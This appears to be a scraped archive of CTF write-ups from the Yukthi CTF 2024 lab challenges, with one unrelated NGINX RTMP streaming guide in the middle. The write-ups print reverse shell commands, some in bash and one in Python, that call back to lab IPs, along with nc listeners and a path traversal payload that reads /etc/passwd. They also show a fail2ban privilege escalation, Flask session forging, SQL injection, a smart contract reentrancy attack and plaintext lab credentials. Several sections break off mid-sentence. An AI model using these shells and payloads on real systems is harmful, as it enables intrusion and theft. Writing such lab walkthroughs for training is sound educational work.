Jawahar.s

Mystic Quest Yukthi CTF

Mystic Quest – Yukthi CTF 2024 Finals: A Journey Through Cybersecurity Challenges

Introduction The “Mystic Quest” challenge at the Yukthi CTF 2024 Finals is an exciting two-part cybersecurity adventure designed to test participants’ skills. This journey covers router firmware analysis, SSH access, and system exploitation techniques to achieve privileged access. It’s a true test of ingenuity, technical expertise, and perseverance. Getting Started To begin your journey, follow these steps: Sign in or Create an Account: Go to Selfmade Ninja Labs to sign in (click here) If you don’t have an account, visit Git Selfmade Ninja to create one (click here) Activate WireGuard: Ensure you have WireGuard activated for secure connectivity. Open the Challenge Dashboard: Log in at Selfmade Ninja Labs (click here) Navigate to Machine Labs on the dashboard. Locate the Challenge: On the left navbar, open the My Lab dropdown and select Challenge Lab. Browse the challenges and search for Mystic Quest. lick the Challenge button to proceed. Start the Mission: In the top-right corner, click Replay the Lab, then select Start Mission. You will receive an IP address. Use VSCode to port-forward this IP and start the challenge. What You Will Learn Router Firmware Analysis: Uncover hidden credentials within router firmware. SSH Access: Use discovered credentials for SSH access to a secured system. Fail2ban Exploitation: Gain insights into using fail2ban to escalate privileges and obtain root access. Challenge 1: Magical Door Story Meena, a determined cybercrime investigator, embark on a rescue mission behind a magical door to save a friend. The door, which demands specific words at the right frequency, reveals the first challenge: decrypting an encrypted log file to proceed. Challenge Flow Network Service Discovery: Upon finding a service running on port 12345, I connected using nc {ip} 12345 and was greeted with questions related to the router’s firmware. Firmware Extraction and Analysis: We need to provide an answer for this question. Yes, we received one tar file, and after attempting to extract it, we found two files: firmware.jff2 and log.txt.enc. To find the answers needed by the network service, I extracted the router’s firmware with the command: binwalk -e firmware.jff2 This allowed me to dive deep into the firmware’s contents, searching for clues. Answering Questions and Key Acquisition: Armed with insights from the firmware analysis, I confidently answered the network service’s questions. Each correct response brought me closer to the decryption key I needed. Questions ranged from firmware versions to specific configuration settings, all found within the extracted firmware files. Answering Questions: The first question is about the router firmware version, which I find as 2.0.37.131047 in /etc/version. cd jff2-root/etc cat version The remaining questions and their answers are as follows: DHCP Offer Time: 2024-02-27 19:58:28, DHCP_OFFER, MAC:ba:f4:4b:24:0e:c7, Offered IP: 192.168.1.115 Found in: /var/log/dhcp.log Lighttpd Port Number: 8090 Found in: /etc/init.d/service_httpd/lighttpd.conf Router Hostname: device21 Found in: /etc/hostname Dashboard Access User: casco Found in: /etc/dashboard/users.conf Primary Wireless Network PSK: uyGGHHH87H28UH7655 Found in: /etc/wpa_supplicant.conf Default DHCP Lease Time: 600 Found in: /etc/dhcp/dhcpd.conf SSH Service Port: 2222 Found in: /etc/ssh/sshd_config Router’s LAN Interface IP: 192.168.0.1 Found in: /etc/network/interfaces First Outbound Firewall Rule Destination Port: 84 Found in: /etc/firewall.rules Log File Decryption: With all questions answered correctly, I receive the decryption key and use it to decrypt the log file: openssl enc -d -aes-256-cbc -in log.txt.enc -out log_decrypted.txt -pass pass:HYT989BVGljwn234hdnjn98 192.168.1.150 – – [27/Feb/2024:14:45:33 +0000] "GET /login.asp?username=admIn&password=PasSqwa0rd HTTP/1.1" 200 1745 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36" The decrypted log reveals login credentials admIn and PasSqwa0rd. SSH Access and Flag Retrieval: I use above the credentials to SSH into the machine and navigate to /home/callio.friend to discover the first flag. Challenge 2: Illusionary Block After the initial victory, my journey with Callio took a new turn at the illusionary block. Armed with determination, we aimed to conquer this obstacle and retrieve the diamonds from the /root directory. Exploitation Flow Investigating Sudo Privileges: To devise our strategy, I first inspected our sudo privileges, revealing a critical detail: (ALL) NOPASSWD: /usr/sbin/service fail2ban restart This discovery indicated we could manipulate the fail2ban service without entering a password, presenting a unique opportunity for exploitation. sudo -l cat /etc/fail2ban/jail.local Fail2ban Configuration Exploration: Delving into fail2ban’s configuration, I used cat /etc/fail2ban/jail.local to understand its mechanisms better and identify any potential vulnerabilities. This exploration was crucial for planning our next steps. Adjusting Fail2ban for Reverse Shell Execution: Recognizing an opportunity in the fail2ban configuration, I decided to modify its action to trigger a reverse shell back to my machine. However, the action files in /etc/fail2ban/action.d/ were protected. To circumvent this, I employed a creative workaround: cd /etc/fail2ban/action.d/ cp -r nfts-new.conf tt && mv tt nfts-new.conf This command duplicated the nfts-new.conf file, effectively changing its ownership to my user, allowing me to insert the reverse shell script. Implementing the Reverse Shell: With the file now editable, I replaced the existing ban action with a reverse shell command targeting my listener: bash -c 'bash -i >& /dev/tcp/10.0.12.15/4444 0>&1' This setup was designed to establish a backdoor into the system upon the fail2ban service’s restart. Activating the Reverse Shell: To bring our plan to fruition, I restarted the fail2ban service using our sudo privilege: sudo /usr/sbin/service fail2ban restart Concurrently, I had set up a listener on my local machine to catch the incoming reverse shell:nc -lnvp 1234 Gaining Root Access: The final step involved triggering the reverse shell by intentionally failing seven SSH login attempts, knowing fail2ban would ban the IP and execute our reverse shell script. After the seventh failed attempts, the reverse shell connected to my listener, granting me root access to the system. Retrieving the Diamonds: With root access secured, I navigated to the /root directory to claim our ultimate prize, the diamonds, symbolized by the second flag. Conclusion The “Mystic Quest” challenge in the Yukthi CTF 2024 Finals was an exhilarating experience that took us through complex scenarios, from router firmware analysis to exploiting fail2ban. Throughout this journey, I gained valuable insights into cybersecurity, including the importance of system exploration and understanding how to exploit vulnerabilities in security tools like fail2ban.

Mystic Quest – Yukthi CTF 2024 Finals: A Journey Through Cybersecurity Challenges Read More »

Magical Ancient – Yukthi CTF 2024 Finals

Introduction In the Yukthi CTF 2024 Finals, "Magical Ancient" presents an exciting blockchain-based adventure. Participants will navigate through smart contract complexities, performing reentry attacks and exploiting contract loopholes to acquire special tokens. This challenge provides a hands-on learning experience, particularly for aspiring IT students interested in blockchain security and smart contract exploitation. Getting Started with Selfmade Ninja Labs To begin your journey with Selfmade Ninja Lab cloud lab training for aspiring students, follow these steps: Sign Up on Selfmade Ninja Labs Visit Selfmade Ninja Labs to create your account (Click here) If you don’t have an account, use Git Selfmade Ninja Sign-In to register (Click here) Activate WireGuard: Ensure WireGuard is activated for seamless access. Access the Labs: Navigate to the Selfmade Ninja Labs Dashboard Click on Machine Labs from the main dashboard. Select Your Challenge: On the left navbar, click My Lab dropdown, then select Challenge Lab. Browse the list of challenges and search for Magical Ancient. Click the Challenge button. Deploy and Start the Mission: On the top-right of the screen, click Replay the Lab to redeploy it. Click Start Mission to begin. Port Forwarding: Use the provided IP in your terminal or Visual Studio Code (VS Code) to set up port forwarding. Once done, you’re ready to start the challenge. What You Will Learn Blockchain Reentry Attack: Understand the vulnerabilities within smart contracts that allow for reentry attacks. Smart Contract Analysis: Learn how to dissect and analyze BSC (Binance Smart Chain) smart contracts to identify exploitable loopholes. Interacting with Smart Contracts: Gain practical experience using tools like Remix IDE and Metamask to interact with and exploit contracts on the blockchain. Selfmade Ninja Lab Cloud Lab Training: This challenge provides an ideal environment for aspiring IT students to refine their skills through practical, cloud-based training in blockchain and smart contract security. Challenge 1: Magic Quest Story Upon discovering the village magician’s plight, with his magical sticks locked away, you embark on a quest to recover them. The journey starts with unlocking a door using a key hidden within smart contract files. Challenge Flow Initial Discovery: An nmap scan uncovers an open port 80, revealing a website that prompts for a key. This initial discovery sets the stage for the challenges ahead, indicating the need to navigate through blockchain vulnerabilities to proceed. Based on the Nmap scan, I found that port 80 is open. I then performed port forwarding and accessed the web service on my local machine. Contract Analysis: The journey into blockchain exploitation begins with the extraction of blocksna.tar.gz, revealing two significant contracts: etherstorage.sol and attacker.sol. These contracts hint at a reentry attack scenario, a common vulnerability within smart contracts that allows for unauthorized Ether withdrawals. tar -xzvf blocksna.tar.gz Delving deeper, you utilize Remix IDE to thoroughly analyze the contracts, pinpointing the precise vulnerability that will allow for the reentry attack. This step is critical, as understanding the contract’s logic is key to crafting a successful exploitation strategy. Performing the Attack: The attack phase begins with the deployment of the EtherStorage contract. This contract acts as the target for your reentry attack, storing Ether that you aim to extract unlawfully. After deploying EtherStorage, you make an initial deposit of Ether to simulate a real-world scenario where the contract holds funds. With EtherStorage set up and funded, the next critical step involves deploying attacker.sol. This contract is designed to exploit the reentry vulnerability in EtherStorage. By feeding it the address of the EtherStorage contract, you prepare attacker.sol to interact directly with the target. The climax of the attack is reached when you execute the attack function within the attacker.sol contract, sending along 1 Ether as bait. This triggers the reentry exploit, allowing you to withdraw all the Ether contained within EtherStorage, far exceeding the initial amount sent. Successful execution of the attack not only retrieves the key 1tnettech398ytfl35tester7tech but also demonstrates the attack’s effectiveness by significantly increasing your Ether balance by 4 Ether — a clear sign of victory in the world of blockchain security. Challenge 2: Final Triumph Story With the key from the first challenge in hand, your journey to revive the old magician’s stick by securing a special coin from the blockchain network begins. Challenge Flow Website Interaction: You’re greeted by a webpage that features two crucial buttons: "Connect to Metamask" and "Check Balance," setting the stage for your task. Setting up the BSC Testnet in Metamask: Before proceeding, you ensure your Metamask is configured for the BSC testnet, enabling transactions and interactions with the contract. Acquiring Test BNB: To engage with the contract, you acquire Test BNB from a faucet, providing the necessary funds for transactions. Connect to BSC Testnet RPC URL: Open this URL in your browser: BSC Testnet Chain Connect your wallet using your Metamask account by following the instructions on the page. Now, your account is connected to the BSC Testnet. Accessing the Token Contract: With Metamask ready and Test BNB in hand, you navigate to the specified token address on BSC Scan, initiating your contract analysis. Analyzing the Contract: A thorough examination of the contract functionalities on BSC Scan uncovers a loophole for acquiring SNA tokens, pivotal for advancing in your quest. Exploiting the User Function: To buy tokens, you discover the need to be an addedUser. Successfully exploiting the User function with your address and a 3-digit even number, you’re added as an authorized user. Buying SNA Tokens: As an addedUser, you interact with the buyToken function to purchase SNA tokens, a crucial step towards your goal. Verifying Token Acquisition: Returning to the initial webpage, you verify your SNA token balance, confirming the successful acquisition of the tokens and, consequently, the restoration of magical power to the magician’s stick. Conclusion The “Final Triumph” challenge concludes with the restoration of the magician’s stick, demonstrating the participant’s ability to navigate complex blockchain interactions and exploit smart contract vulnerabilities. This challenge highlights the value of Selfmade Ninja Lab cloud lab training for aspiring IT students, offering practical training in blockchain security

Magical Ancient – Yukthi CTF 2024 Finals Read More »

Security Unveiled Yukthi CTF

Security Unveiled – Yukthi CTF 2024 Finals

Introduction The “Security Unveiled CTF” challenge in the Yukthi CTF 2024 Finals provided an immersive experience in advanced digital forensics, credential recovery, and vulnerability exploitation. This hands-on challenge allowed participants to address real-world cybersecurity issues, offering critical skills necessary for securing privileged access in IT systems. Aspiring IT students can apply these techniques through Selfmade Ninja Lab’s cloud lab training, enhancing their practical knowledge of cybersecurity concepts. What You Will Learn This challenge delved into several important aspects of cybersecurity, including: Disk image analysis and data recovery techniques. Deciphering encrypted data to extract credentials. Conducting network scans to identify service entry points. Web application security testing to exploit vulnerabilities. Real-world application of cybersecurity concepts in a CTF context. Challenge 1: Credential Hunt Story At Bout Tech, an unconventional IT company, my task was to recover the previous maintainer’s work credentials from a raw image file. This was a crucial first step to accessing the maintainer dashboard, which was pivotal for my role. Challenge Flow Disk Image Analysis: Starting with sdb1.img, the challenge involved mounting the image and exploring its contents. sudo mkdir /mnt/image_mount sudo losetup -fP –show ./sdb1.img sudo mount /dev/loop0p1 /mnt/image_mount cd /mnt/image_mount ls -l Decrypting Data: Encountering data.json.enc, a file encrypted with OpenSSL, and discovering the .Trash directory, which led to the crucial find of report.docx. After converting the DOCX to a zip and extracting, bout.jpg was found. Finding report.docx: Extracting bout.jpg: Using steghide, a decryption key was retrieved from bout.jpg. mv report.docx report.zip unzip report.zip steghide extract -sf bout.jpg Credential Recovery: With the decryption key, the data.json.enc file was decrypted to reveal the username and password. openssl enc -aes-256-cbc -d -in data.json.enc -out data_decrypted.json -pass pass:jhdfe98hh Credentials found: { “username”:”clat”, “location”:”us”, “pass”:”clat@098″ } Accessing the Dashboard: After conducting a network scan, port 80 was found to be open. The recovered credentials allowed dashboard access, revealing the first flag. Network Scan: Dashboard Access: After I logged in with the above credentials, I got my first flag in the dashboard section. Challenge 2: Security Breach Story AAfter accessing the system, I realized admin privileges were necessary to proceed further. The website offered two login methods: one with a username and password, and another with a token sent to an email. Challenge Flow Exploring Login Methods: The token-based login caught my interest, especially since I didn’t have the admin privileges required for deeper access. Finding an Admin User: I found an admin email, wilson@bout.com, which seemed like a lead to gaining admin access. Token System Exploit: I noticed a flaw in the token system that allowed requesting a token for both my account and the admin’s with a single submission: wilson@bout.com&clat@bout.com Receiving the Admin Token: The exploit worked, and I received an email with the admin token. Admin Access Achieved: Armed with the admin token, I proceeded to log into the admin area of the website. This crucial step allowed me to navigate the secured sections and ultimately, locate the second flag. Successfully gaining admin access not only demonstrated the vulnerability within the token system but also underscored the importance of rigorous security practices in web applications. Conclusion The “Security Unveiled CTF” challenge in the Yukthi CTF 2024 Finals highlighted essential cybersecurity strategies and vulnerabilities. By participating in challenges like this, students can develop practical skills in areas such as digital forensics, credential recovery, and web application security. Through Selfmade Ninja Lab’s cloud lab training, aspiring IT professionals can gain hands-on experience and prepare for real-world cybersecurity challenges. This CTF was not just a test of technical expertise but also a demonstration of how vulnerabilities can be exploited to secure systems more effectively.

Security Unveiled – Yukthi CTF 2024 Finals Read More »

NGINX RTMP streaming

NGINX RTMP Lab: Live Streaming Guide for Aspiring IT Students

This guide explores how to set up NGINX RTMP streaming using the Selfmade Ninja Lab cloud lab, a valuable training resource for aspiring IT students. The following steps provide a clear path for using the NGINX RTMP Lab, from deploying the lab to viewing live streams via HLS. NGINX RTMP streaming is a powerful tool for setting up live streaming projects, and the Selfmade Ninja Lab cloud lab provides an ideal environment to learn and practice this technology. This guide walks aspiring IT students through deploying the NGINX RTMP Lab, configuring it for streaming, and viewing live streams via HLS. This change ensures that the keyphrase appears right at the beginning of the text, making the topic clear immediately. How to Use NGINX RTMP Lab for Live Streaming Prerequisites: VPN Connection: Ensure all devices (broadcaster and receiver) are connected to the same VPN network. Streaming Software: Use broadcasting software like OBS Studio or a Raspberry Pi camera with software like ffmpeg to stream to the RTMP server. Viewer Software: Have a compatible media player installed, such as VLC or ffplay, to watch the live stream. Network Configuration: Make sure necessary ports (1935 for RTMP, 8080 for HLS) are open and accessible. System Requirements: Ensure your hardware meets the requirements for running the streaming software. Step 1: Deploying the NGINX RTMP Lab Open the RTMP Lab Go to the URL: https://labs.selfmade.ninja/labs?type=machine. Select and Deploy the Lab Click on RTMP Lab and then click Deploy. After deployment, you’ll get an RTMP URL like: rtmp://172.30.5.217/live/{Stream key} > Note: Keep your Stream key secure! It acts like a password and controls access to your stream. Connect to the VPN Connect your laptop to the SNA VPN. This will ensure both the broadcaster and viewer devices are in the same network. Step 2: Setting Up OBS Studio for Live Streaming Install OBS Studio Download and install OBS Studio from https://obsproject.com. This software is free and widely used for live streaming. Configure OBS for RTMP Streaming Open OBS Studio. Go to Settings > Stream. In the Service dropdown, choose Custom. For Server, enter your RTMP URL (e.g., rtmp://172.30.5.217/live/). For Stream Key, enter your stream key from Step 1. > Important: Do not share your stream key with anyone. It’s like a password for your stream. Add Your Sources in OBS Click on + under Sources to add video and audio sources (e.g., Screen Capture, Webcam, Audio Input). Arrange the sources as desired and adjust settings like volume. Start Streaming Once configured, click Start Streaming. OBS will now broadcast to the RTMP server. Step 3: Using HLS and Viewing in a Browser The NGINX RTMP lab offers HLS (HTTP Live Streaming) support, which enables you to view the stream in a web browser. HLS is a widely used streaming protocol that segments video into small chunks, making it ideal for live streaming over HTTP. To set up HLS streaming, follow these steps: 1. Set Up Reverse Proxy with Apache To serve the HLS stream through a web browser, you’ll need to configure Apache as a reverse proxy. Here’s how to do it: Install Apache If you haven’t already installed Apache, you can do so by running the following command in your terminal: sudo apt update sudo apt install apache2 Enable Required Modules Next, you need to enable the proxy, proxy_http, and rewrite modules for Apache: sudo a2enmod proxy sudo a2enmod proxy_http sudo a2enmod rewrite Configure Apache for Reverse Proxy Create or edit your Apache configuration file to set up the reverse proxy. You can use the default configuration file or create a new one. For example, create a file named rtmp_proxy.conf in the /etc/apache2/sites-available/ directory: sudo nano /etc/apache2/sites-available/rtmp_proxy.conf Add the following configuration to the file, replacing YOUR_IP with your server’s IP address: <VirtualHost *:80> ServerName YOUR_IP # Allow access to HLS <Location /hls> ProxyPass /hls http://{your_ip_address}:8080/hls/ ProxyPassReverse /hls http://{your_ip_address}:8080/hls/ Allow from all </Location> # Optional: Allow CORS (Cross-Origin Resource Sharing) if necessary Header set Access-Control-Allow-Origin "*" </VirtualHost> This configuration tells Apache to forward requests from /hls to the HLS server at http://{your_ip_address}:8080/hls/. The ProxyPass directive routes the incoming requests to the HLS server, while the ProxyPassReverse directive ensures that any redirects are correctly handled. Enable the New Configuration After saving your configuration file, enable it using the following command: sudo a2ensite rtmp_proxy.conf Restart Apache To apply the changes, restart Apache: sudo systemctl restart apache2 2. Access the Stream in Browser Once the reverse proxy is set up, you can access the HLS stream through your browser. The HLS stream is typically served at the following URL format: http://YOUR_IP/hls/{Stream key}.m3u8 Replace {Stream key} with your actual stream key. For example, if your stream key is myStream, the URL will be: http://YOUR_IP/hls/myStream.m3u8 Open this URL in any modern web browser to view the live stream. Tip: Ensure that your firewall settings allow traffic on port 80 (HTTP) to enable access to the stream. Step 4: Viewing the Live Stream Using VLC Player Now, let’s set up a viewer to receive and watch the stream in real time. Install VLC If not installed, download VLC from https://videolan.org. Open Network Stream Open VLC and go to Media > Open Network Stream. Enter the RTMP URL (replace {Stream key} with your actual stream key) like this: rtmp://172.30.5.217/live/{Stream key} OR https://{domain_name}/hls/testing.m3u8 Click Play to start viewing the stream. Additional Resources For detailed information on configuring HLS and using the NGINX RTMP module, refer to the following resources: NGINX RTMP Module GitHub Repository – This is the official repository where you can find installation instructions, configuration examples, and additional features of the NGINX RTMP module. NGINX Documentation – The main documentation for NGINX, where you can explore various configurations and directives. HTTP Live Streaming (HLS) Overview – An introduction to HLS, including best practices and detailed explanations. Conclusion By following this guide, aspiring IT students can quickly deploy live streaming capabilities with the Selfmade Ninja Lab cloud. Remember, protecting your Stream key is essential for secure streaming. With NGINX RTMP and HLS, you

NGINX RTMP Lab: Live Streaming Guide for Aspiring IT Students Read More »

Cyber Investigation – Yukthi CTF 2024 Finals

Introduction In the finals of the Yukthi CTF 2024, I, Meena, a cybercrime investigator from Chennai, undertook an intense “Cyber Investigation” challenge. This journey offered hands-on experience in digital forensics, emphasizing the importance of securing sensitive information, identifying breaches, and managing server intrusions within a company’s infrastructure. Key Takeaways for Aspiring IT Students This article highlights several crucial techniques beneficial for students aiming to build their expertise in Selfmade Ninja Lab cloud lab training for aspiring IT students. These techniques include: Analyzing exposed .git repositories to locate sensitive data. Strategies to obtain privileged web access using secret keys. Executing SQL injection to retrieve critical information. Leveraging setuid permissions for root access escalation on a Linux server. Getting Started To begin with, participants need to complete a few essential steps: Create an Account: To participate in this challenge, start by signing up at Selfmade Ninja Labs(Click here). If you don’t already have an account, create one using this signup link (Click here) Activate Wireguard: After creating your account, activate Wireguard VPN to securely connect to the lab environment. Access the Machine Labs: Navigate to the Machine Labs section from the dashboard on Selfmade Ninja Labs(Click here) On the left navbar, click My Lab > Challenge Lab. Browse through the list of challenges and locate the Fruity challenge. Start the Challenge: On the top-right, select Deploy Lab and click Start Mission. ou’ll receive an IP address. Forward this IP in your VS Code or terminal to access the environment and begin the challenge. Challenge 1: Data Breach Story This challenge required me to investigate a data leak at a company using a dashboard to manage customer-reported product issues. The goal was to find the source of these leaks and secure a report from the /home directory. Challenge Flow Initial Reconnaissance: To start, I performed a network scan to identify open ports and potential entry points. The scan revealed two open ports: SSH (port 22) and HTTP (port 80), suggesting an accessible website and a potential way to gain shell access. Website Analysis: Next, I conducted a thorough examination of the website’s structure and endpoints. During this process, I discovered a .git endpoint, which could potentially expose sensitive version control information. Exploring the .git Repository: Then, I cloned the repository and inspected its commit history to uncover usernames, passwords, and a secret key. Notably, I found an access-list.json file in the prod branch containing user credentials and a secret key. Repository: https://git.selfmade.ninja/Jawahar.s/old-project From the repository, in the branch prod, I retrieved an access-list.json file filled with user credentials and discovered a secretkey. Gaining Dashboard Access: Using the credentials jamie and jamieKey@1415, I logged into the dashboard. While I could access the dashboard, the report page was restricted to admin users. Therefore, I hypothesized that the secret key from the master branch might also be used for session management in Flask. Admin Session Forging: With the secret key and a script from https://git.selfmade.ninja/Jawahar.s/flask-sess-forge, I forged an admin session cookie. I pasted this cookie into the cookies tab of my browser, which granted me admin access. This allowed me to access the admin-only report page. Executing SQL Injection: On the report page, I noticed a filter bar for products. I used an SQL union query to exploit this, extracting all user data from the database. As a result, I retrieved cater’s credentials (caterKey@hy2k2) and accessed the server via SSH to secure the report from /home/report. I obtained all user data from the database, including some active admin users. Specifically, I retrieved cater’s username and password, caterKey@hy2k2, and accessed the server via SSH to find the report in /home/report. Challenge 2: Server Intrusion Story After completing the data breach investigation, I faced a new challenge involving a suspicious file on the server, which hinted at a severe security breach linked to leaked income reports. Challenge Flow Finding SUID Binaries: The first step was to search for binaries with setuid permissions. Setuid binaries are executable files that run with the permissions of the file owner, which can sometimes be exploited to gain elevated privileges. I used the following command to find all setuid binaries on the system: find / -perm -4000 -type f 2>/dev/null This command searches the entire filesystem (/), looking for files with the setuid permission (-4000) and suppressing error messages (2>/dev/null). The search revealed several binaries, including an unusual one. Identifying Anomalous Binary: Among the setuid binaries, I identified an anomalous binary located at /var/anomalous. Its presence and permissions stood out as unusual, making it a prime target for further investigation. Executing the Anomalous Binary: I executed the ./anomalous binary to understand its functionality. The binary launched a command-line application that prompted me to select from a list of options: cater@secure_byte:/var$ ./anomalous Welcome to our command-line application! Please select a command (type 'options' to view available commands): > options Available options: 1. init – Initialize the system 2. welcome – Show the welcome message 3. options – Show this options menu 4. start – Begin the application > init Initializing system… System initialized successfully! The provided commands didn’t reveal anything useful, so I decided to dig deeper into the binary to uncover any hidden functionalities. Analyzing the Binary with Strings: To explore the binary further, I used the strings command, which extracts printable strings from a binary file. This is a useful technique for discovering hidden commands or embedded information within an executable. strings anomalous Running this command on the anomalous binary revealed a list of strings, including one that caught my attention: readfile. Discovering the Hidden Command: The readfile string was not listed in the application’s available commands, making it a hidden or undocumented command. This discovery suggested that the binary had additional, hidden functionality that could be exploited. Executing the Hidden Command: I ran the ./anomalous binary again and entered the readfile command to test its effect: cater@secure_byte:/var$ ./anomalous Welcome to our command-line application! Please select a command (type 'options' to view available commands): > readfile Contents of /root/hiddenGem.77: 1a441c9439402c7033e5b915e1aeffa3.ninja File

Cyber Investigation – Yukthi CTF 2024 Finals Read More »

Operation Warehouse Yukthi CTF

Operation Warehouse: Yukthi CTF 2024 Prelims – Cyber Investigation Challenge

Introduction to Operation Warehouse OOperation Warehouse is an engaging web-based challenge featured in the Yukthi CTF 2024 prelims. It immerses participants in a simulated underground network and presents a step-by-step cyber puzzle. By testing cybersecurity skills, this challenge helps participants master ethical hacking while gaining hands-on experience through Selfmade Ninja Lab cloud lab training. Aspiring IT students can use this opportunity to enhance their practical knowledge of cybersecurity concepts. Journey Through the Challenge Initial Vulnerabilities To begin with, participants exploit a Flask debug console vulnerability and a path traversal bug. These flaws allow access to critical points in the system. Obtaining the Werkzeug debugger pin enables participants to launch a reverse shell using Python, marking a significant milestone in the challenge. Advanced Escalation Techniques In the second phase, participants interact with a separate machine to unlock root access by leveraging Python’s setcap capabilities. This stage simulates real-world cyber-attacks and tests participants’ ability to escalate privileges effectively. Getting Started: Accessing the Labs Visit the Selfmade Ninja Labs and log in to your account (Click here) Don’t have an account? No worries! Create one here. Activate WireGuard Follow the provided setup instructions to activate the WireGuard VPN. Access the Machine Labs Dashboard Go to Selfmade Ninja Labs and click Machine Labs to open the dashboard. On the left sidebar, navigate to My Lab dropdown and select Challenge Lab. Find and Launch the Challenge Browse the challenge page for Send the Alien Back Home and click the challenge button. In the top-right corner, click Deploy Lab and then click Start Mission. Note the IP address assigned to your challenge. Use this IP address to configure port forwarding in your VS Code setup. Skills Learned By participating in Operation Warehouse, you develop essential cybersecurity skills including: Reconnaissance and exploitation strategies Privilege escalation and system security bypass Network reconnaissance and web pentesting Enumeration 1. Initial Reconnaissance Start by conducting a port scan using nmap to identify active ports. The scan reveals that port 7777 is open, suggesting that a web service might be running on that port. nmap -p- ipaddress This scan shows that port 7777 is actively accepting connections, which is typically indicative of a web service. 2. Exploring Port 7777 Port forwarding to port 7777 revealed a website running on the server. Analyzing the webpage's source code uncovers an interesting endpoint: readfile?file=about.html. Altering this endpoint to readfile?file=….//…// exposes a Flask error message, confirming the server's framework. Alternatively, you can use Wappalyzer to quickly detect the technologies used on the website, confirming that Flask is running on the server. Accessing the /console endpoint reveals the debug console pin on the production server. The presence of this debug feature results from the application being configured with DEBUG=True in its production settings. This configuration should be disabled in a live environment to prevent security vulnerabilities. 3. Exploiting Path Traversal Next, scrutinize the readfile endpoint, which serves files directly. Notably, the URL <a href="http://127.0.0.1:7777/readfile?file=app.py&#x60">http://127.0.0.1:7777/readfile?file=app.py&#x60</a>; indicates a susceptibility to a path traversal attack. The application's handling of path traversal is peculiar: initially, any "../" sequences are replaced with an empty string, and then subsequent "../"` sequences are converted to a dot. Using this knowledge, craft the following URL to exploit the vulnerability and attempt to read system files like /etc/passwd: http://127.0.0.1:7777/readfile?file=….//…//…//…//…//…//…//…//etc/passwd To effectively exploit the vulnerabilities of the Flask debugger, specific detailed information about the application environment is needed. Here’s a breakdown of the data required and how it can be used to retrieve the console pin using a script designed for bypassing the Werkzeug debug console. Required Data for Console Pin Exploitation To exploit the console pin, you need specific details about the Flask application environment, which are crucial for the script to generate the correct console pin. The necessary details include: Username: The username under which the Flask application is running. Modname: The name of the main module of the Flask application. Machine ID: A unique identifier for the host machine which can sometimes be extracted from files like /etc/machine-id. MAC Address: The MAC address of the network interface, often obtainable via system files or network configuration commands. Obtaining the Required Details These details can typically be found by examining files within the application environment or by exploiting other vulnerabilities, such as the path traversal flaw discovered. By gathering this information, you can effectively use the script to bypass the debug console's security. Using the Bypass Script For additional information and the script, check out the GitHub repository. https://github.com/wdahlenburg/werkzeug-debug-console-bypass Using this script correctly with the appropriate data will allow you to bypass the Werkzeug debug console's security and gain access. This can be crucial in a penetration testing scenario or a CTF challenge. OR 4. Obtaining Console Pin using automation script Further exploitation of the path traversal vulnerability allows for obtaining the console pin. A script automates fetching the necessary data such as Flask app module names and machine identifiers: https://git.selfmade.ninja/Jawahar.s/werkpin/-/blob/master/werkpindebug.py This script, when executed, provides the debug console pin 5. Exploiting the Debug Console With the debug pin in hand, you can now target a reverse shell. Set up a listener using nc: nc -lnvp 9001 Executing the following Python script then allowed a reverse shell connection to be established: import os;os.popen(“””python3 -c ‘import socket,subprocess,os,tty,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“172.30.0.73”,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/bash”)'”””) The reverse shell provided direct command line access to the server. 6. Victory Using the obtained shell access, navigation to /home/jamie was accomplished to retrieve the first flag. Second Challenge: Escalating Privileges 1. Identifying Python Capability To escalate privileges, start by identifying if any system binaries have special capabilities that can be exploited. Use the getcap command to list all capabilities granted to executables. Command: getcap -r / 2> /dev/null This command recursively searches the root directory for all files with any set capabilities. It redirects errors to null to clean up the output. Finding: The command shows that Python 3.8 has been granted special capabilities, making it a potential vector for privilege escalation. 2.Escalating Privileges Using Python Once Python 3.8 is identified as having special capabilities, use

Operation Warehouse: Yukthi CTF 2024 Prelims – Cyber Investigation Challenge Read More »

Case unlocked

Case Unlocked: Yukthi CTF 2024 Prelims

Introduction Welcome to Case Unlocked, a featured challenge in the Yukthi CTF 2024 prelims, designed to immerse participants in an engaging journey of digital exploration and security testing. This challenge reflects the innovative training offered by Selfmade Ninja Lab cloud lab training for aspiring IT students, where participants delve into uncovering vulnerabilities, gathering sensitive information, and mastering web exploitation techniques. By participating in this challenge, students develop essential cybersecurity skills, including identifying and exploiting web vulnerabilities, analyzing hidden credentials, and escalating privileges on Linux systems. It’s a hands-on approach that builds practical expertise in ethical hacking and web security. Getting Started To begin the challenge: Visit Selfmade Ninja Labs and sign in with your account. If you don’t have an account, create one using this link: Selfmade Ninja GitLab Sign In (click here) Activate WireGuard as prompted. Go back to Selfmade Ninja Labs and click on the Machine Labs section in your dashboard. In the left-side navigation bar, expand the My Labs dropdown and select Challenge Labs. Browse through the available challenges and search for Case Unlocked. Once you locate the challenge, click the Challenge button. At the top-right corner, select Deploy the Lab and then click Start Mission. You will receive an IP address for the deployed lab environment. Use VS Code to port forward this IP address and begin the challenge. Skills Learned Effective methods for exploring and exploiting web endpoints Techniques for uncovering hidden or obscured login credentials Strategies for privilege escalation on Linux systems Enumeration 1. Initial Reconnaissance The first step involved scanning the network for open ports. Using the command nmap -p- 10.11.3.92, we performed a comprehensive scan. nmap -p- 10.11.3.92 This preliminary scan is essential because it helps to identify potential entry points on the target machine. Specifically, it reveals which ports are listening and may be vulnerable to further exploitation. Thus, this scan provides crucial information for planning subsequent steps in the exploitation process. 2. Discovering Port 80 The scan results showed that port 80 was open, which indicated that a web service was running. By accessing this web service through a browser, you obtained a pivotal clue for further actions. Consequently, this clue guided the next steps in your exploration and exploitation process. Upon accessing the webpage, I encountered an interactive game embedded within the site. This discovery provided an intriguing element to explore further. Therefore, it became a focal point for deeper investigation and analysis. 3. Endpoint Exploration Utilizing the Nikto tool, a comprehensive web server scanner that checks for dangerous files, outdated server software, and other problems, I was able to discover some interesting endpoints: nikto -h http://localhost:34829 These included admin login and .git pages. Navigating to the admin page redirected to a login page, but without known credentials: The discovery of a publicly accessible .git directory was crucial. It is a common security oversight to leave git directories accessible on production servers, which can expose sensitive information. Using GitTools (https://github.com/internetwache/GitTools), I cloned the repository found on the server, allowing access to the development history and potentially 